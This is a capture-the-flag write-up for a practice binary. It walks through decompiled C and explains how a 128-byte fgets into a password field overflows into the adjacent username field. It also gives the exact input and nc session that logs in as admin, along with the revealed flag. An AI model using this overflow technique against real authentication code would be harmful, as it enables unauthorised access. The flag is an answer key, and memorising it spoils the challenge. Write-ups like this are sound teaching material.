Instructive
3 minutes to read
We are given a 64-bit binary called instructive:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Reverse engineering
If load the binary in Ghidra, we will see this main function:
int main() {
int ret;
undefined flag[136];
char *data;
FILE *fp;
int j;
int i;
setbuf(stdout, NULL);
setbuf(stdin, NULL);
fp = fopen("./flag.txt", "r");
__isoc99_fscanf(fp, "%s", flag);
data = (char *) malloc(128);
printf("Please enter your username: ");
fgets(data + 0x40, 128, stdin);
for (i = 0; i < 128; i++) {
if (data[(long) i + 0x40] == '\n') {
data[(long) i + 0x40] = '\0';
break;
}
}
ret = strcmp("admin", data + 0x40);
if (ret == 0) {
puts("Cannot log in as admin from this terminal!");
/* WARNING: Subroutine does not return */
exit(1);
}
printf("Please enter your password: ");
fgets(data, 128, stdin);
j = 0;
do {
if (0x7f < j) {
LAB_00101337:
printf("Logged in as %s.\n", data + 0x40);
ret = strcmp("admin", data + 0x40);
if (ret == 0) {
printf("Welcome, admin. The flag is %s.\n", flag);
} else {
puts("Sorry, can only display the flag for an admin.");
}
return 0;
}
if (data[j] == '\n') {
data[j] = '\0';
goto LAB_00101337;
}
j++;
} while (true);
}
First of all, the program reads the flag from ./flag.txt and stores the content in a variable named flag:
fp = fopen("./flag.txt", "r");
__isoc99_fscanf(fp, "%s", flag);
To capture the flag, we need to pass this if statement:
printf("Logged in as %s.\n", data + 0x40);
ret = strcmp("admin", data + 0x40);
if (ret == 0) {
printf("Welcome, admin. The flag is %s.\n", flag);
} else {
puts("Sorry, can only display the flag for an admin.");
}
However, when the program asks us to enter the username, we are not allowed to use admin:
printf("Please enter your username: ");
fgets(data + 0x40, 128, stdin);
for (i = 0; i < 128; i++) {
if (data[(long) i + 0x40] == '\n') {
data[(long) i + 0x40] = '\0';
break;
}
}
ret = strcmp("admin", data + 0x40);
if (ret == 0) {
puts("Cannot log in as admin from this terminal!");
/* WARNING: Subroutine does not return */
exit(1);
}
After that, we are prompted to put a password:
printf("Please enter your password: ");
fgets(data, 128, stdin);
Buffer Overflow vulnerability
Notice that the password is stored in data, and the username is stored in data + 0x40 (0x40 is 64 in decimal format). With fgets, the program reads up to 128 bytes and stores the data in data.
Therefore, we can abuse that to enter 0x40 bytes for the “password” field and the following characters will be stored in the “username” field (data + 0x40).
Flag
If we do so, we can add admin as a username and get the flag:
$ python3 -c 'print("A" * 0x40)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ nc puzzler7.imaginaryctf.org 9000
Please enter your username: asdf
Please enter your password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAadmin
Logged in as admin.
Welcome, admin. The flag is ictf{how_long_has_it_been_since_weve_done_just_a_simple_buffer_overfl0w?}.